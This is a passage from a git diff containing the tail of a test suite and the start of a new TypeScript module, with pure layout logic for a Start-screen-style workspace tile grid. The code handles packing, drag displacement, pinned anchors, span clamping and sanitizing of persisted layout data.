+ expect(next.find((t) => t.id === "b")).toMatchObject({ colSpan: 4, rowSpan: 2 });
+ expect(next.find((t) => t.id === "a")).toMatchObject({ colSpan: 1, rowSpan: 1 });
+ });
+
+ it("sanitizes garbage spans to 1 and preserves order", () => {
+ const next = resizeTile([tile("a", 5, 2, 2)], "a", Number.NaN, -3);
+ expect(next).toEqual([{ id: "a", order: 5, colSpan: 1, rowSpan: 1 }]);
+ });
+
+ it("ignores unknown ids", () => {
+ const tiles = [tile("a", 0)];
+ expect(resizeTile(tiles, "nope", 2, 2)).toEqual(tiles);
+ });
+
+ it("does NOT clamp to the current geometry (render-time concern)", () => {
+ // A 4-wide desktop tile resized while wide stays 4-wide in the document;
+ // tall rendering clamps its VIEW.
+ const next = resizeTile([tile("a", 0)], "a", 4, 2);
+ expect(next[0]).toMatchObject({ colSpan: 4, rowSpan: 2 });
+ });
+});
+
+describe("displacePlace", () => {
+ /** Render placements as the column-1 stream (cells 1..n, `_` = empty,
+ * one character per tile — the id's first char). */
+ const stream = (placements: Placement[], geometry: GridGeometry): string => {
+ const cells = new Map<number, string>();
+ for (const p of placements) {
+ for (let r = p.row; r < p.row + p.rowSpan; r++) {
+ for (let c = p.col; c < p.col + p.colSpan; c++) {
+ cells.set(fillOrderKey(c, r, geometry), p.id.charAt(0));
+ }
+ }
+ }
+ const maxKey = Math.max(0, ...cells.keys());
+ const out: string[] = [];
+ for (let key = 0; key <= maxKey; key++) {
+ out.push(cells.get(key) ?? "_");
+ }
+ return out.join("");
+ };
+
+ it("USER EXAMPLE 1: X_X + Y placed in slot 1 → YXX (the gap absorbs the shift)", () => {
+ // X at cells 1,3 (wide: (1,1) and (1,3)); Y sits at cell 5 (dragged in
+ // from outside the shown range — its origin is beyond the gap).
+ const placements: Placement[] = [
+ { id: "X", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "X2", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "Y", col: 2, row: 1, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "Y", { col: 1, row: 1 }, WIDE);
+ // Y@1; X (was@1) pushed into the gap at 2; X2 (was@3) stays. The array
+ // keeps the INPUT render order (only coordinates change).
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["X", 1, 2],
+ ["X2", 1, 3],
+ ["Y", 1, 1],
+ ]);
+ });
+
+ it("USER EXAMPLE 2: _XZ_ + Y placed in slot 2 → _YXZ (leading gap preserved)", () => {
+ // X@(1,2), Z@(1,3); Y dragged in from cell 5.
+ const placements: Placement[] = [
+ { id: "X", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ { id: "Z", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "Y", col: 2, row: 1, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "Y", { col: 1, row: 2 }, WIDE);
+ // Same coordinates, input render order: X, Z, then the dragged Y.
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["X", 1, 3],
+ ["Z", 1, 4],
+ ["Y", 1, 2],
+ ]);
+ });
+
+ it("dragging a tile OUT opens a gap at its old anchor (nothing slides back)", () => {
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ ];
+ // Drag a (cell 1) to cell 3 — b stays at 2; a lands at 3.
+ const next = displacePlace(placements, "a", { col: 1, row: 3 }, WIDE);
+ // The array keeps the input render order (a first) — only a's coords move.
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 1, 3],
+ ["b", 1, 2],
+ ]);
+ });
+
+ it("internal move rightward over a full run pushes the tail forward", () => {
+ // a,b,c in cells 1-3; drag a to cell 2: b→3 pushes c→4.
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ { id: "c", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "a", { col: 1, row: 2 }, WIDE);
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 1, 2],
+ ["b", 1, 3],
+ ["c", 1, 4],
+ ]);
+ });
+
+ it("an unknown dragged id changes nothing (a copy of the input)", () => {
+ const placements: Placement[] = [{ id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 }];
+ const next = displacePlace(placements, "nope", { col: 1, row: 2 }, WIDE);
+ expect(next).toEqual(placements);
+ });
+
+ it("a spanned displaced tile keeps its spans and re-anchors forward as a rect", () => {
+ // big (2-tall) at rows 1-2; tail (2-tall) at rows 3-4. Drag big to (1,2):
+ // its own old body is free-ish but (1,2)+(1,3) collides with tail's
+ // (1,3)+(1,4) → tail re-anchors FORWARD: no 2-tall slot fits in column 1
+ // anymore → column 2.
+ const placements: Placement[] = [
+ { id: "big", col: 1, row: 1, colSpan: 1, rowSpan: 2 },
+ { id: "tail", col: 1, row: 3, colSpan: 1, rowSpan: 2 },
+ ];
+ const next = displacePlace(placements, "big", { col: 1, row: 2 }, WIDE);
+ expect(next.map((p) => [p.id, p.col, p.row, p.rowSpan])).toEqual([
+ ["big", 1, 2, 2],
+ ["tail", 2, 1, 2],
+ ]);
+ });
+
+ it("displacing into the NEXT COLUMN when the column is full", () => {
+ // 4 tiles fill column 1; drag the first to the LAST cell of column 1.
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ { id: "c", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "d", col: 1, row: 4, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "a", { col: 1, row: 4 }, WIDE);
+ // d is pushed past the column's end → column 2 row 1. The array keeps the
+ // INPUT render order (a,b,c,d) — only coordinates change.
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 1, 4],
+ ["b", 1, 2],
+ ["c", 1, 3],
+ ["d", 2, 1],
+ ]);
+ });
+
+ it("works in TALL mode along the row-major stream", () => {
+ // Tall: 2 columns, row-major. a@(1,1), b@(2,1); drag a to cell (2,1).
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 2, row: 1, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "a", { col: 2, row: 1 }, TALL);
+ // b pushed forward past the row's end → next row. Stream order: a(1) b(2).
+ expect(next.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 2, 1],
+ ["b", 1, 2],
+ ]);
+ });
+
+ it("the stream helper renders the documented examples (sanity)", () => {
+ const placements: Placement[] = [
+ { id: "X", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "X2", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "Y", col: 2, row: 1, colSpan: 1, rowSpan: 1 },
+ ];
+ const next = displacePlace(placements, "Y", { col: 1, row: 1 }, WIDE);
+ expect(stream(next, WIDE)).toBe("YXX");
+ const placements2: Placement[] = [
+ { id: "X", col: 1, row: 2, colSpan: 1, rowSpan: 1 },
+ { id: "Z", col: 1, row: 3, colSpan: 1, rowSpan: 1 },
+ { id: "Y", col: 2, row: 1, colSpan: 1, rowSpan: 1 },
+ ];
+ const next2 = displacePlace(placements2, "Y", { col: 1, row: 2 }, WIDE);
+ expect(stream(next2, WIDE)).toBe("_YXZ");
+ });
+});
+
+describe("placeAtCell", () => {
+ it("pins every tile at its displaced anchor in the universal frame", () => {
+ // Wide: a@(1,1), b@(1,2); drag a to (2,1) — a pins there, b KEEPS its
+ // cell (the gap at (1,1) opens and stays).
+ const tiles = [tile("a", 0), tile("b", 1)];
+ const next = placeAtCell(tiles, "a", { col: 2, row: 1 }, WIDE);
+ expect(next.find((t) => t.id === "a")).toMatchObject({ col: 2, row: 1 });
+ expect(next.find((t) => t.id === "b")).toMatchObject({ col: 1, row: 2 });
+ // And the pinned layout packs exactly as placed (b first — stream order).
+ expect(pack(next, WIDE).map((p) => [p.id, p.col, p.row])).toEqual([
+ ["b", 1, 2],
+ ["a", 2, 1],
+ ]);
+ });
+
+ it("keeps persisted spans raw (never clamped) through the commit", () => {
+ // A 4-wide desktop tile dropped in TALL commits the tall cell but keeps
+ // its raw 4-wide span.
+ const tiles = [{ ...tile("big", 0, 4, 1) }, tile("b", 1)];
+ const next = placeAtCell(tiles, "big", { col: 1, row: 3 }, TALL);
+ expect(next.find((t) => t.id === "big")).toMatchObject({
+ colSpan: 4,
+ rowSpan: 1,
+ col: 1,
+ row: 5,
+ });
+ });
+
+ it("renumbers orders densely in stream order", () => {
+ const tiles = [tile("a", 0), tile("b", 5), tile("c", 9)];
+ const next = placeAtCell(tiles, "c", { col: 1, row: 1 }, WIDE);
+ expect(next.every((t, i) => t.order === i)).toBe(true);
+ });
+
+ it("maps tall commits to the universal frame", () => {
+ // Tall (col 2, row 1) → universal (col 1, row 2).
+ const tiles = [tile("a", 0)];
+ const next = placeAtCell(tiles, "a", { col: 2, row: 1 }, TALL);
+ expect(next.find((t) => t.id === "a")).toMatchObject({ col: 1, row: 2 });
+ });
+
+ it("an unknown id changes nothing (no-op)", () => {
+ const tiles = [tile("a", 0)];
+ expect(placeAtCell(tiles, "nope", { col: 1, row: 1 }, WIDE)).toEqual(tiles);
+ });
+});
+
+describe("dragAppendLimit", () => {
+ it("caps a wide drag at 3 columns past the right-most content edge (span-aware)", () => {
+ // b spans cols 3-4 → the right-most occupied column is 4; +3 = 7.
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 },
+ { id: "b", col: 3, row: 1, colSpan: 2, rowSpan: 1 },
+ ];
+ expect(dragAppendLimit(placements, WIDE)).toBe(7);
+ });
+
+ it("caps a tall drag at 3 rows past the bottom-most content edge (span-aware)", () => {
+ // b spans rows 3-4 → the bottom-most occupied row is 4; +3 = 7.
+ const placements: Placement[] = [
+ { id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 2 },
+ { id: "b", col: 2, row: 3, colSpan: 1, rowSpan: 2 },
+ ];
+ expect(dragAppendLimit(placements, TALL)).toBe(7);
+ });
+
+ it("an empty grid still allows the first tiles within the first 3 columns", () => {
+ expect(dragAppendLimit([], WIDE)).toBe(3);
+ expect(dragAppendLimit([], TALL)).toBe(3);
+ });
+
+ it("honors a custom extra", () => {
+ const placements: Placement[] = [{ id: "a", col: 1, row: 1, colSpan: 1, rowSpan: 1 }];
+ expect(dragAppendLimit(placements, WIDE, 5)).toBe(6);
+ });
+});
+
+describe("sortByRecentActivity", () => {
+ it("re-applies the recent-activity order (descending)", () => {
+ const tiles = [tile("a", 0), tile("b", 1), tile("c", 2)];
+ const next = sortByRecentActivity(
+ tiles,
+ new Map([
+ ["a", 100],
+ ["b", 300],
+ ["c", 200],
+ ]),
+ );
+ expect(next.map((t) => t.id)).toEqual(["b", "c", "a"]);
+ });
+
+ it("treats unknown ids as least-recent and renumbers", () => {
+ const tiles = [tile("a", 0), tile("b", 1)];
+ // `a` has recent activity (50); `b` is unknown → least-recent → last.
+ const next = sortByRecentActivity(tiles, new Map([["a", 50]]));
+ expect(next.map((t) => [t.id, t.order])).toEqual([
+ ["a", 0],
+ ["b", 1],
+ ]);
+ });
+
+ it("CLEARs every pin (an explicit arrangement reset — gaps gone)", () => {
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("a", 0), col: 1, row: 1 },
+ { ...tile("b", 1), col: 2, row: 3 },
+ ];
+ const next = sortByRecentActivity(
+ tiles,
+ new Map([
+ ["a", 100],
+ ["b", 300],
+ ]),
+ );
+ expect(next.every((t) => t.col === undefined && t.row === undefined)).toBe(true);
+ // And the now-unpinned layout packs compactly.
+ expect(pack(next, WIDE).map((p) => [p.id, p.col, p.row])).toEqual([
+ ["b", 1, 1],
+ ["a", 1, 2],
+ ]);
+ });
+});
+
+describe("mergeLayout", () => {
+ it("starts workspaces unknown to the layout (appends after the max order)", () => {
+ const merged = mergeLayout({ version: 1, tiles: [tile("a", 0)] }, ["a", "b", "c"]);
+ expect(merged.map((t) => [t.id, t.order])).toEqual([
+ ["a", 0],
+ ["b", 1],
+ ["c", 2],
+ ]);
+ });
+
+ it("appends unknowns in the live list's order", () => {
+ const merged = mergeLayout({ version: 1, tiles: [tile("z", 0)] }, ["z", "y", "x"]);
+ expect(merged.map((t) => t.id)).toEqual(["z", "y", "x"]);
+ });
+
+ it("drops entries for deleted workspaces", () => {
+ const merged = mergeLayout(
+ { version: 1, tiles: [tile("a", 0), tile("gone", 1), tile("b", 2)] },
+ ["a", "b"],
+ );
+ expect(merged.map((t) => t.id)).toEqual(["a", "b"]);
+ });
+
+ it("keeps manual order (not the list order) for known workspaces", () => {
+ const merged = mergeLayout({ version: 1, tiles: [tile("c", 0), tile("a", 1)] }, ["a", "c"]);
+ expect(merged.map((t) => t.id)).toEqual(["c", "a"]);
+ });
+
+ it("clamps spans in the view when a geometry is given (persisted data unchanged)", () => {
+ const merged = mergeLayout({ version: 1, tiles: [tile("a", 0, 3, 1)] }, ["a"], TALL);
+ expect(merged[0]).toMatchObject({ colSpan: 2, rowSpan: 1 });
+ expect(mergeLayout({ version: 1, tiles: [tile("a", 0, 3, 1)] }, ["a"])).toEqual([
+ { id: "a", order: 0, colSpan: 3, rowSpan: 1 },
+ ]);
+ });
+
+ it("deduplicates corrupted duplicate ids (first by order wins)", () => {
+ const merged = mergeLayout({ version: 1, tiles: [tile("a", 1, 2, 2), tile("a", 0)] }, [
+ "a",
+ "b",
+ ]);
+ expect(merged).toEqual([
+ { id: "a", order: 0, colSpan: 1, rowSpan: 1 },
+ { id: "b", order: 1, colSpan: 1, rowSpan: 1 },
+ ]);
+ });
+
+ it("handles a null/undefined persisted document", () => {
+ expect(mergeLayout(null, ["a"])).toEqual([{ id: "a", colSpan: 1, rowSpan: 1, order: 1 }]);
+ expect(mergeLayout(undefined, [])).toEqual([]);
+ });
+});
+
+describe("sanitizeLayout", () => {
+ it("accepts a valid v2 document (anchors kept)", () => {
+ expect(
+ sanitizeLayout({
+ version: 2,
+ tiles: [{ id: "a", colSpan: 2, rowSpan: 1, order: 0, col: 3, row: 2 }],
+ }),
+ ).toEqual({
+ version: 2,
+ tiles: [{ id: "a", colSpan: 2, rowSpan: 1, order: 0, col: 3, row: 2 }],
+ });
+ });
+
+ it("MIGRATES a v1 document to v2 in memory (all tiles unpinned)", () => {
+ expect(
+ sanitizeLayout({ version: 1, tiles: [{ id: "a", colSpan: 2, rowSpan: 1, order: 0 }] }),
+ ).toEqual({
+ version: 2,
+ tiles: [{ id: "a", colSpan: 2, rowSpan: 1, order: 0 }],
+ });
+ });
+
+ it("rejects foreign versions and malformed documents", () => {
+ expect(sanitizeLayout(null)).toEqual({ version: 2, tiles: [] });
+ expect(sanitizeLayout("nope")).toEqual({ version: 2, tiles: [] });
+ expect(sanitizeLayout({ version: 3, tiles: [] })).toEqual({ version: 2, tiles: [] });
+ expect(sanitizeLayout({ version: 1, tiles: "x" })).toEqual({ version: 2, tiles: [] });
+ });
+
+ it("coerces malformed entries and drops anonymous/duplicate ones", () => {
+ const data = sanitizeLayout({
+ version: 1,
+ tiles: [
+ { id: "a", colSpan: "x", rowSpan: 0, order: "y" },
+ null,
+ { colSpan: 2 },
+ { id: "a", order: 9 },
+ { id: "b", colSpan: 3.9, order: 2.5 },
+ ],
+ });
+ expect(data.tiles).toEqual([
+ { id: "a", colSpan: 1, rowSpan: 1, order: 0 },
+ { id: "b", colSpan: 3, rowSpan: 1, order: 2 },
+ ]);
+ });
+
+ it("drops garbage anchors (non-positive / fractional / half a pair)", () => {
+ const data = sanitizeLayout({
+ version: 2,
+ tiles: [
+ { id: "ok", colSpan: 1, rowSpan: 1, order: 0, col: 2, row: 3 },
+ { id: "frac", colSpan: 1, rowSpan: 1, order: 1, col: 2.5, row: 3 },
+ { id: "zero", colSpan: 1, rowSpan: 1, order: 2, col: 0, row: 1 },
+ { id: "lone", colSpan: 1, rowSpan: 1, order: 3, col: 2 },
+ { id: "neg", colSpan: 1, rowSpan: 1, order: 4, col: -1, row: -1 },
+ ],
+ });
+ expect(data.tiles).toEqual([
+ { id: "ok", colSpan: 1, rowSpan: 1, order: 0, col: 2, row: 3 },
+ { id: "frac", colSpan: 1, rowSpan: 1, order: 1, col: 2, row: 3 },
+ { id: "zero", colSpan: 1, rowSpan: 1, order: 2 },
+ { id: "lone", colSpan: 1, rowSpan: 1, order: 3 },
+ { id: "neg", colSpan: 1, rowSpan: 1, order: 4 },
+ ]);
+ });
+});
+
+describe("geometry-agnostic persistence", () => {
+ it("the SAME persisted data renders in either geometry (unpinned flow re-derives)", () => {
+ const tiles: TileLayoutEntry[] = [
+ tile("a", 0, 4, 2),
+ tile("b", 1),
+ tile("c", 2),
+ tile("d", 3, 2, 2),
+ tile("e", 4),
+ ];
+ const widePlacements = pack(tiles, WIDE);
+ const tallPlacements = pack(tiles, TALL);
+ // Wide flows column-wise across 4 rows; tall flows row-wise across 2 columns.
+ expect(widePlacements[0]).toMatchObject({ id: "a", col: 1, row: 1, colSpan: 4, rowSpan: 2 });
+ expect(widePlacements.at(-1)).toMatchObject({ id: "e" });
+ expect(tallPlacements[0]).toMatchObject({ id: "a", col: 1, row: 1, colSpan: 2, rowSpan: 2 });
+ // An unpinned entry carries NO anchor — only id/spans/order.
+ expect(Object.keys(tiles[0] ?? {}).sort()).toEqual(["colSpan", "id", "order", "rowSpan"]);
+ });
+});
+
+describe("pinned pack (v2)", () => {
+ it("pinned tiles land at their anchors; unpinned flow into the remaining free cells", () => {
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("a", 0), col: 1, row: 3 },
+ { ...tile("b", 1), col: 1, row: 1 },
+ tile("c", 2), // unpinned → first free = (1,2)
+ tile("d", 3), // unpinned → next free = (1,4)
+ ];
+ // pack returns ENTRY order (a, b, c, d); positions are what matters.
+ const placements = pack(tiles, WIDE);
+ expect(placements.map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 1, 3],
+ ["b", 1, 1],
+ ["c", 1, 2],
+ ["d", 1, 4],
+ ]);
+ });
+
+ it("keeps the GAP between two pins (flow does not compact it away)", () => {
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("a", 0), col: 1, row: 1 },
+ { ...tile("z", 1), col: 1, row: 4 },
+ ];
+ expect(pack(tiles, WIDE).map((p) => [p.id, p.row])).toEqual([
+ ["a", 1],
+ ["z", 4],
+ ]);
+ });
+
+ it("a pin whose span no longer fits its anchor reads as UNPINNED (flows)", () => {
+ // A 2-tall tile pinned at row 4 cannot fit the 4-row cross-axis at that
+ // anchor → it flows to the first fitting slot instead: (1,2).
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("big", 0, 1, 2), col: 1, row: 4 },
+ { ...tile("a", 1), col: 1, row: 1 },
+ ];
+ const placements = pack(tiles, WIDE);
+ expect(placements.find((p) => p.id === "big")).toMatchObject({ col: 1, row: 2 });
+ });
+
+ it("overlapping pins resolve first-wins by entry order (the loser flows)", () => {
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("a", 0), col: 1, row: 2 },
+ { ...tile("b", 1), col: 1, row: 2 },
+ ];
+ const placements = pack(tiles, WIDE);
+ expect(placements.find((p) => p.id === "a")).toMatchObject({ col: 1, row: 2 });
+ expect(placements.find((p) => p.id === "b")).toMatchObject({ col: 1, row: 1 });
+ });
+
+ it("a wide pin at col > 1 reads as UNPINNED in tall (documented lossy case)", () => {
+ const tiles: TileLayoutEntry[] = [{ ...tile("a", 0), col: 3, row: 1 }];
+ expect(pack(tiles, TALL).find((p) => p.id === "a")).toMatchObject({ col: 1, row: 1 });
+ });
+
+ it("tall pins map through the universal frame in both directions", () => {
+ // Universal column 1 folds onto tall's 2 columns in reading order:
+ // u1→(1,1) u2→(2,1) u3→(1,2) u4→(2,2).
+ expect(toRenderCell({ col: 1, row: 1 }, TALL)).toEqual({ col: 1, row: 1 });
+ expect(toRenderCell({ col: 1, row: 2 }, TALL)).toEqual({ col: 2, row: 1 });
+ expect(toRenderCell({ col: 1, row: 3 }, TALL)).toEqual({ col: 1, row: 2 });
+ expect(toRenderCell({ col: 1, row: 4 }, TALL)).toEqual({ col: 2, row: 2 });
+ expect(toUniversalCell({ col: 2, row: 2 }, TALL)).toEqual({ col: 1, row: 4 });
+ // Wide is the identity.
+ expect(toRenderCell({ col: 2, row: 2 }, WIDE)).toEqual({ col: 2, row: 2 });
+ expect(toUniversalCell({ col: 2, row: 2 }, WIDE)).toEqual({ col: 2, row: 2 });
+ expect(UNIVERSAL_ROWS).toBe(4);
+ });
+
+ it("a layout dragged in TALL renders its pins when back in WIDE", () => {
+ // Committed in tall: a at tall (1,1) → universal (1,1); b at tall (2,1) →
+ // universal (1,2). Back in wide they render exactly there (col 1).
+ const tiles: TileLayoutEntry[] = [
+ { ...tile("a", 0), col: 1, row: 1 },
+ { ...tile("b", 1), col: 1, row: 2 },
+ ];
+ expect(pack(tiles, WIDE).map((p) => [p.id, p.col, p.row])).toEqual([
+ ["a", 1, 1],
+ ["b", 1, 2],
+ ]);
+ });
+
+ it("deleting a workspace leaves its cells EMPTY (mergeLayout keeps other pins)", () => {
+ const persisted = {
+ version: 2 as const,
+ tiles: [
+ { ...tile("a", 0), col: 1, row: 1 },
+ { ...tile("gone", 1), col: 1, row: 2 },
+ { ...tile("b", 2), col: 1, row: 3 },
+ ] as TileLayoutEntry[],
+ };
+ const merged = mergeLayout(persisted, ["a", "b"]);
+ expect(merged.map((t) => [t.id, t.col, t.row])).toEqual([
+ ["a", 1, 1],
+ ["b", 1, 3],
+ ]);
+ // The gap at (1,2) stays: a new workspace flows/pins INTO it.
+ expect(firstEmptySlot(merged, { colSpan: 1, rowSpan: 1 }, WIDE)).toEqual({ col: 1, row: 2 });
+ });
+});
+
+describe("type surface", () => {
+ it("exposes the geometry fields the picker and grid need", () => {
+ // A 500px-tall canvas: the raw unit (100) clamps UP to the 112px minimum,
+ // so the gap is 12px and the margin 37px (never the old fixed 8px gap).
+ const geometry: GridGeometry = geometryFor(1000, 500);
+ expect([
+ geometry.mode,
+ geometry.flowRows,
+ geometry.flowCols,
+ geometry.unit.gap,
+ geometry.margin,
+ ]).toEqual(["wide", 4, 0, 12, 37]);
+ });
+});
diff --git a/src/features/workspaces/logic/tile-layout.ts b/src/features/workspaces/logic/tile-layout.ts
new file mode 100644
index 0000000..6f7c281
--- /dev/null
+++ b/src/features/workspaces/logic/tile-layout.ts
@@ -0,0 +1,709 @@
+/**
+ * Pure tile-layout logic for the Win8-Start-style workspace home grid — zero
+ * DOM, zero Svelte, zero effects.
+ *
+ * The PERSISTED data (v2): `{ version, tiles: [{ id, colSpan, rowSpan, order,
+ * col?, row? }] }` — each tile's spans, arrival order, and OPTIONAL pinned
+ * anchor. Anchors live in a UNIVERSAL 4-row frame (wide's frame; tall folds
+ * its 2 columns onto frame column 1), so the same document renders in either
+ * geometry with no orientation conversion step: an anchor that doesn't map
+ * into the current geometry (or whose clamped span can't fit there) reads as
+ * UNPINNED, and unpinned tiles flow into the first free cells — holes between
+ * pins included. Empty cells are real: nothing ever slides backward, so gaps
+ * only close when a drop's displacement pushes a run of filled cells through
+ * them (see {@link displacePlace}).
+ *
+ * Terminology (distinct from the layout feature's nested split-tree "tile"):
+ * a HOME TILE is one workspace's cell in the flat start-screen grid.
+ */
+
+/** The grid geometry mode: landscape/desktop ("wide") or portrait/mobile ("tall"). */
+export type TileGeometryMode = "wide" | "tall";
+
+/** The px size of one tile unit (one grid cell) + the grid gap. */
+export interface TileUnitSize {
+ /**
+ * The unit's px width. `0` means "fluid" (the tall grid sizes its fixed
+ * columns in `1fr` so two tiles fill a phone's width).
+ */
+ readonly width: number;
+ readonly height: number;
+ readonly gap: number;
+}
+
+/**
+ * The full grid geometry a viewport resolves to. `flowRows`/`flowCols` name
+ * the FIXED track counts across the fill direction's cross axis:
+ * wide mode fixes ROWS (tiles flow column-wise, columns grow unbounded);
+ * tall mode fixes COLS (tiles flow row-wise, rows grow unbounded). `0` =
+ * unbounded. The picker (resize) dimensions equal the span caps.
+ */
+export interface GridGeometry {
+ readonly mode: TileGeometryMode;
+ /** Fixed row tracks (wide: 4; tall: 0 = rows grow unbounded). */
+ readonly flowRows: number;
+ /** Fixed column tracks (tall: 2; wide: 0 = columns grow unbounded). */
+ readonly flowCols: number;
+ /** Maximum horizontal span a tile may occupy in this geometry. */
+ readonly maxColSpan: number;
+ /** Maximum vertical span a tile may occupy in this geometry. */
+ readonly maxRowSpan: number;
+ readonly unit: TileUnitSize;
+ /**
+ * The breathing room around the whole tile field — the grid never renders
+ * flush against the canvas edge. In wide mode the scroller pads all four
+ * sides by this amount (the pan arrow/scroll indicator offset inward by it
+ * too); in tall mode it insets the two fluid columns horizontally.
+ */
+ readonly margin: number;
+}
+
+/** One persisted tile: which workspace it pins, how big it wants to be, its manual order, and its anchor. */
+export interface TileLayoutEntry {
+ /** The workspace id (the slug). */
+ readonly id: string;
+ readonly colSpan: number;
+ readonly rowSpan: number;
+ /** Lower sorts earlier. Arrival order for unpinned flow + first-wins tie-breaks. */
+ readonly order: number;
+ /**
+ * The pinned anchor cell (1-based) in the UNIVERSAL 4-row frame, or absent =
+ * unpinned (the tile flows into the first free cells at render time). Tall
+ * mode normalizes its 2-column grid into this frame: render { c, r } ↔
+ * universal { col: 1, row: 2(r−1)+c }. A pin outside the current geometry's
+ * fixed cross-axis reads as UNPINNED (render-time clamp — like spans).
+ */
+ readonly col?: number;
+ readonly row?: number;
+}
+
+/** The persisted document (localStorage via the injected `LocalStore` adapter). */
+export interface TileLayoutData {
+ readonly version: 1 | 2;
+ readonly tiles: readonly TileLayoutEntry[];
+}
+
+/** A tile's resolved footprint on the grid (1-based grid coordinates). */
+export interface Placement {
+ readonly id: string;
+ readonly col: number;
+ readonly row: number;
+ readonly colSpan: number;
+ readonly rowSpan: number;
+}
+
+/** A requested span (pre-clamping). */
+export interface Span {
+ readonly colSpan: number;
+ readonly rowSpan: number;
+}
+
+/** The viewport assumed before the canvas has been measured (a landscape desktop). */
+export const DEFAULT_VIEWPORT = { width: 1280, height: 800 } as const;
+
+/**
+ * The wide unit's clamp band (px). Tiles FILL the canvas' height across the 4
+ * fixed rows (the Start-screen feel), but never shrink below a legible small
+ * tile nor grow past a comfortable large one.
+ */
+const WIDE_UNIT_MIN = 112;
+const WIDE_UNIT_MAX = 184;
+
+/** The wide canvas' outer margin band (px) — proportional to the unit size. */
+const WIDE_MARGIN_MIN = 24;
+const WIDE_MARGIN_MAX = 64;
+
+/** The tall unit: the two fluid columns size in `1fr` (width `0` = fluid). */
+const TALL_UNIT: TileUnitSize = { width: 0, height: 148, gap: 12 };
+const TALL_MARGIN = 16;
+
+/** Round to whole pixels (fractional track sizes blur tile edges). */
+function px(value: number): number {
+ return Math.round(value);
+}
+
+function clampNumber(value: number, min: number, max: number): number {
+ return Math.max(min, Math.min(max, value));
+}
+
+/**
+ * Resolve the grid geometry from the tile canvas' size. Landscape/desktop →
+ * WIDE (4 fixed rows, column-wise flow, 4×2 span cap); portrait/mobile → TALL
+ * (2 fixed columns, row-wise flow, 2×2 span cap). Degenerate sizes (not yet
+ * measured) resolve to wide.
+ *
+ * The wide unit is DERIVED from the canvas height so the 4 rows exactly fill
+ * it (unit + margin + gap all proportional, clamped to their bands); the tall
+ * unit is fixed (its columns are fluid instead). Pure: numbers in, geometry
+ * out.
+ */
+export function geometryFor(width: number, height: number): GridGeometry {
+ const tall = width > 0 && height > 0 && height > width;
+ if (tall) {
+ return {
+ mode: "tall",
+ flowRows: 0,
+ flowCols: 2,
+ maxColSpan: 2,
+ maxRowSpan: 2,
+ unit: TALL_UNIT,
+ margin: TALL_MARGIN,
+ };
+ }
+ // Solve 4·unit + 3·gap + 2·margin = height with gap = unit/9 and margin =
+ // unit/3: 4u + u/3 + 2u/3 = 5u → u = height/5. Unmeasured (height ≤ 0) →
+ // the band's middle, not a tiny tile.
+ const raw = height > 0 ? height / 5 : (WIDE_UNIT_MIN + WIDE_UNIT_MAX) / 2;
+ const unit = px(clampNumber(raw, WIDE_UNIT_MIN, WIDE_UNIT_MAX));
+ const gap = Math.max(10, px(unit / 9));
+ const margin = px(clampNumber(unit / 3, WIDE_MARGIN_MIN, WIDE_MARGIN_MAX));
+ return {
+ mode: "wide",
+ flowRows: 4,
+ flowCols: 0,
+ maxColSpan: 4,
+ maxRowSpan: 2,
+ unit: { width: unit, height: unit, gap },
+ margin,
+ };
+}
+
+/** Sort entries by their persisted order (stable — ties keep their relative order). */
+export function sortTiles<T extends TileLayoutEntry>(tiles: readonly T[]): T[] {
+ return [...tiles].sort((a, b) => a.order - b.order);
+}
+
+/** Clamp a requested span to a geometry's caps, coercing garbage (non-positive/NaN) to 1. */
+export function clampSpan<T extends Span>(span: T, geometry: GridGeometry): Span {
+ return {
+ colSpan: clampUnit(span.colSpan, geometry.maxColSpan),
+ rowSpan: clampUnit(span.rowSpan, geometry.maxRowSpan),
+ };
+}
+
+function clampUnit(value: number, max: number): number {
+ if (!Number.isFinite(value)) return 1;
+ const int = Math.floor(value);
+ if (int < 1) return 1;
+ return Math.min(int, max);
+}
+
+/**
+ * A position's rank in the geometry's FILL ORDER — the order slots are visited
+ * when packing: wide fills column-wise (top-to-bottom, then the next column);
+ * tall fills row-wise (left-to-right, then the next row). Pure; only used for
+ * comparisons within one geometry.
+ */
+export function fillOrderKey(col: number, row: number, geometry: GridGeometry): number {
